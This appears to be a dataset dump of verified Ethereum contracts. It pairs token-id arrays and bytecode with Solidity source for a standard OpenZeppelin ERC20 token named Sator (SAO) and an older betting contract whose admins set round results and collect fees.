[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,682
0x9587e9640575B06AB45B656A9Bad8f0B40393F01
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } //SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract SAO is ERC20("Sator", "SAO") { constructor (address _issuer, uint256 _amount) { ERC20._mint(_issuer, _amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610fc8565b60405180910390f35b6100e660048036038101906100e19190610def565b610308565b6040516100f39190610fad565b60405180910390f35b610104610326565b60405161011191906110ea565b60405180910390f35b610134600480360381019061012f9190610d9c565b610330565b6040516101419190610fad565b60405180910390f35b610152610428565b60405161015f9190611105565b60405180910390f35b610182600480360381019061017d9190610def565b610431565b60405161018f9190610fad565b60405180910390f35b6101b260048036038101906101ad9190610d2f565b6104dd565b6040516101bf91906110ea565b60405180910390f35b6101d0610525565b6040516101dd9190610fc8565b60405180910390f35b61020060048036038101906101fb9190610def565b6105b7565b60405161020d9190610fad565b60405180910390f35b610230600480360381019061022b9190610def565b6106a2565b60405161023d9190610fad565b60405180910390f35b610260600480360381019061025b9190610d5c565b6106c0565b60405161026d91906110ea565b60405180910390f35b6060600380546102859061121a565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061121a565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c6103156108a7565b84846108af565b6001905092915050565b6000600254905090565b600061033d848484610a7a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103886108a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061104a565b60405180910390fd5b61041c856104146108a7565b8584036108af565b60019150509392505050565b60006012905090565b60006104d361043e6108a7565b84846001600061044c6108a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061113c565b6108af565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061121a565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061121a565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c66108a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110aa565b60405180910390fd5b61069761068e6108a7565b858584036108af565b600191505092915050565b60006106b66106af6108a7565b8484610a7a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ae906110ca565b60405180910390fd5b6107c360008383610cfb565b80600260008282546107d5919061113c565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461082a919061113c565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161088f91906110ea565b60405180910390a36108a360008383610d00565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561091f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109169061108a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561098f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109869061100a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a6d91906110ea565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae19061106a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5190610fea565b60405180910390fd5b610b65838383610cfb565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be29061102a565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c7e919061113c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce291906110ea565b60405180910390a3610cf5848484610d00565b50505050565b505050565b505050565b600081359050610d1481611512565b92915050565b600081359050610d2981611529565b92915050565b600060208284031215610d4557610d446112aa565b5b6000610d5384828501610d05565b91505092915050565b60008060408385031215610d7357610d726112aa565b5b6000610d8185828601610d05565b9250506020610d9285828601610d05565b9150509250929050565b600080600060608486031215610db557610db46112aa565b5b6000610dc386828701610d05565b9350506020610dd486828701610d05565b9250506040610de586828701610d1a565b9150509250925092565b60008060408385031215610e0657610e056112aa565b5b6000610e1485828601610d05565b9250506020610e2585828601610d1a565b9150509250929050565b610e38816111a4565b82525050565b6000610e4982611120565b610e53818561112b565b9350610e638185602086016111e7565b610e6c816112af565b840191505092915050565b6000610e8460238361112b565b9150610e8f826112c0565b604082019050919050565b6000610ea760228361112b565b9150610eb28261130f565b604082019050919050565b6000610eca60268361112b565b9150610ed58261135e565b604082019050919050565b6000610eed60288361112b565b9150610ef8826113ad565b604082019050919050565b6000610f1060258361112b565b9150610f1b826113fc565b604082019050919050565b6000610f3360248361112b565b9150610f3e8261144b565b604082019050919050565b6000610f5660258361112b565b9150610f618261149a565b604082019050919050565b6000610f79601f8361112b565b9150610f84826114e9565b602082019050919050565b610f98816111d0565b82525050565b610fa7816111da565b82525050565b6000602082019050610fc26000830184610e2f565b92915050565b60006020820190508181036000830152610fe28184610e3e565b905092915050565b6000602082019050818103600083015261100381610e77565b9050919050565b6000602082019050818103600083015261102381610e9a565b9050919050565b6000602082019050818103600083015261104381610ebd565b9050919050565b6000602082019050818103600083015261106381610ee0565b9050919050565b6000602082019050818103600083015261108381610f03565b9050919050565b600060208201905081810360008301526110a381610f26565b9050919050565b600060208201905081810360008301526110c381610f49565b9050919050565b600060208201905081810360008301526110e381610f6c565b9050919050565b60006020820190506110ff6000830184610f8f565b92915050565b600060208201905061111a6000830184610f9e565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611147826111d0565b9150611152836111d0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111875761118661124c565b5b828201905092915050565b600061119d826111b0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112055780820151818401526020810190506111ea565b83811115611214576000848401525b50505050565b6000600282049050600182168061123257607f821691505b602082108114156112465761124561127b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61151b81611192565b811461152657600080fd5b50565b611532816111d0565b811461153d57600080fd5b5056fea2646970667358221220a1cf5d308fddf7f2f2f18fdb927831b32ad7a9ff822daf52b94ede159b8c536164736f6c63430008060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2581, 2063, 2683, 21084, 2692, 28311, 2629, 2497, 2692, 2575, 7875, 19961, 2497, 26187, 2575, 2050, 2683, 9024, 2620, 2546, 2692, 2497, 12740, 23499, 2509, 2546, 24096, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 14305, 1013, 29464, 11890, 11387, 11368, 8447, 2696, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 7375, 1997, 1996, 1063, 29464, 11890, 11387, 1065, 8278, 1012, 1008, 1008, 2023, 7375, 2003, 12943, 28199, 2000, 1996, 2126, 19204, 2015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,683
0x95880c85fed94ab00ee819642b85adc03a1a59ac
pragma solidity 0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Bet { address public ceoAddress; address public cooAddress; enum RoundStatus { UNKNOWN, RUNNING, FINISHED, CANCELLED } event RoundCreated(uint16 roundId); event BetPlaced(uint betId, uint16 roundId, uint amount); event RoundStatusUpdated(uint16 roundId, RoundStatus oldStatus, RoundStatus newStatus); event FinalScoreUpdated(uint16 roundId, bytes32 winner); event Debug(uint16 roundId, uint expire, uint time, bool condition); struct Round { string name; bytes32[] statusPossibility; uint16 nbBets; uint prizePool; RoundStatus status; bytes32 resultStatus; uint runningAt; uint finishedAt; uint expireAt; } struct Bet { uint16 roundId; address owner; uint amount; bytes32 status; bool claimed; } //mapping(uint => address) public betToOwner; mapping(uint16 => uint[]) public roundBets; // roundId => betId[] //mapping(address => uint) public ownerBetCount; Bet[] public bets; Round[] public rounds; uint16 public roundsCount; uint public fees; uint public MINIMUM_BET_VALUE = 0.01 ether; constructor() public { ceoAddress = msg.sender; cooAddress = msg.sender; } function setMinimumBetValue(uint _minimumBetValue) onlyCLevel { MINIMUM_BET_VALUE = _minimumBetValue; } function setCEOAddress(address _address) public onlyOwner { ceoAddress = _address; } function setCOOAddress(address _address) public onlyOwner { cooAddress = _address; } function createRound(string _name, bytes32[] _statusPossibility, uint _expireAt) public onlyCLevel { uint16 id = uint16(rounds.push(Round(_name, _statusPossibility, 0, 0, RoundStatus.RUNNING, 0, now, 0, _expireAt)) - 1); roundsCount = uint16(SafeMath.add(roundsCount, 1)); emit RoundCreated(id); } function getRoundStatuses(uint16 _roundId) public view returns(bytes32[] statuses) { return rounds[_roundId].statusPossibility; } function extendRound(uint16 _roundId, uint _time) public onlyCLevel { rounds[_roundId].expireAt = _time; } function getRoundBets(uint16 _roundId) public view returns(uint[] values) { return roundBets[_roundId]; } function updateRoundStatus(uint16 _id, RoundStatus _status) public onlyCLevel { require(rounds[_id].status != RoundStatus.FINISHED); emit RoundStatusUpdated(_id, rounds[_id].status, _status); rounds[_id].status = _status; if (_status == RoundStatus.CANCELLED) { rounds[_id].finishedAt = now; } } function setRoundFinalScore(uint16 _roundId, bytes32 _resultStatus) public roundIsRunning(_roundId) onlyCLevel payable { rounds[_roundId].status = RoundStatus.FINISHED; rounds[_roundId].finishedAt = now; rounds[_roundId].resultStatus = _resultStatus; emit FinalScoreUpdated(_roundId, _resultStatus); } function bet(uint16 _roundId, bytes32 _status) public roundIsRunning(_roundId) greaterThan(msg.value, MINIMUM_BET_VALUE) isNotExpired(_roundId) payable { Debug(_roundId, rounds[_roundId].expireAt, now, now >= rounds[_roundId].expireAt); uint id = bets.push(Bet(_roundId, msg.sender, msg.value, _status, false)) - 1; roundBets[_roundId].push(id); rounds[_roundId].nbBets++; rounds[_roundId].prizePool += msg.value; emit BetPlaced(id, _roundId, msg.value); } function claimRoundReward(uint16 _roundId, address _owner) public roundIsFinish(_roundId) returns (uint rewardAfterFees, uint rewardFees) { Round memory myRound = rounds[_roundId]; uint[] memory betIds = getRoundBets(_roundId); uint totalRewardsOnBet = 0; uint totalBetOnWinResult = 0; uint amountBetOnResultForOwner = 0; for (uint i = 0; i < betIds.length; i++) { Bet storage bet = bets[betIds[i]]; if (bet.status == myRound.resultStatus) { totalBetOnWinResult = SafeMath.add(totalBetOnWinResult, bet.amount); if (bet.claimed == false && bet.owner == _owner) { amountBetOnResultForOwner = SafeMath.add(amountBetOnResultForOwner, bet.amount); bet.claimed = true; } } else { totalRewardsOnBet = SafeMath.add(totalRewardsOnBet, bet.amount); } } uint coef = 10000000; // Handle 4 numbers precision uint percentOwnerReward = SafeMath.div(SafeMath.mul(amountBetOnResultForOwner, coef), totalBetOnWinResult); uint rewardToOwner = SafeMath.div(SafeMath.mul(percentOwnerReward, totalRewardsOnBet), coef); rewardAfterFees = SafeMath.div(SafeMath.mul(rewardToOwner, 90), 100); rewardFees = SafeMath.sub(rewardToOwner, rewardAfterFees); rewardAfterFees = SafeMath.add(rewardAfterFees, amountBetOnResultForOwner); fees = SafeMath.add(fees, rewardFees); _owner.transfer(rewardAfterFees); } function claimCancelled(uint16 _roundId, address _owner) public roundIsCancelled(_roundId) returns(uint amountToClaimBack) { uint[] memory betIds = getRoundBets(_roundId); amountToClaimBack = 0; for (uint i = 0; i < betIds.length; i++) { Bet storage bet = bets[betIds[i]]; if (bet.owner == _owner && bet.claimed != true) { amountToClaimBack = SafeMath.add(amountToClaimBack, bet.amount); bet.claimed = true; } } _owner.transfer(amountToClaimBack); } function claimRewards(uint16[] _roundsToClaim, address _owner) public { for (uint i = 0; i < _roundsToClaim.length; i++) { claimRoundReward(_roundsToClaim[i], _owner); } } function payout(address _to, uint _amount) public onlyOwner { require(fees >= _amount); fees = SafeMath.sub(fees, _amount); _to.transfer(_amount); } modifier onlyOwner() { require(msg.sender == ceoAddress); _; } modifier onlyCLevel() { require(msg.sender == ceoAddress || msg.sender == cooAddress); _; } modifier greaterThan(uint _value, uint _expect) { require(_value >= _expect); _; } modifier isNotExpired(uint16 _roundId) { require(rounds[_roundId].expireAt == 0 || now < rounds[_roundId].expireAt); _; } modifier betStatusPossible(uint16 _roundId, bytes32 _status) { //require(_status < rounds[_roundId].statusPossibility); _; } modifier roundIsCancelled(uint16 _roundId) { require(rounds[_roundId].status == RoundStatus.CANCELLED); _; } modifier roundIsRunning(uint16 _roundId) { require(rounds[_roundId].status == RoundStatus.RUNNING); _; } modifier roundIsFinish(uint16 _roundId) { require(rounds[_roundId].status == RoundStatus.FINISHED); _; } }
0x6080604052600436106101275763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630678c282811461012c5780630a0f81681461014d578063117de2fd1461017e578063120bd8f5146101a257806322556bd7146101ba57806322af00fa1461024e5780634af80ceb146102a05780634fb46d5c146102c1578063542ccddb1461032d57806355642be71461036e5780637fee8b151461038a5780638c65c81f146103bb5780639af1d35a1461049a5780639f5cfe03146104af578063a684ff03146104db578063b047fb50146104ed578063b7ef5fed14610502578063bc294a7c14610562578063c2f4976f14610583578063c54b25b014610595578063c7c7c5ef146105bd578063f915cf42146105df575b600080fd5b34801561013857600080fd5b5061014b61ffff600435166024356105f4565b005b34801561015957600080fd5b50610162610657565b60408051600160a060020a039092168252519081900360200190f35b34801561018a57600080fd5b5061014b600160a060020a0360043516602435610666565b3480156101ae57600080fd5b5061014b6004356106da565b3480156101c657600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261014b943694929360249392840191908190840183828082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955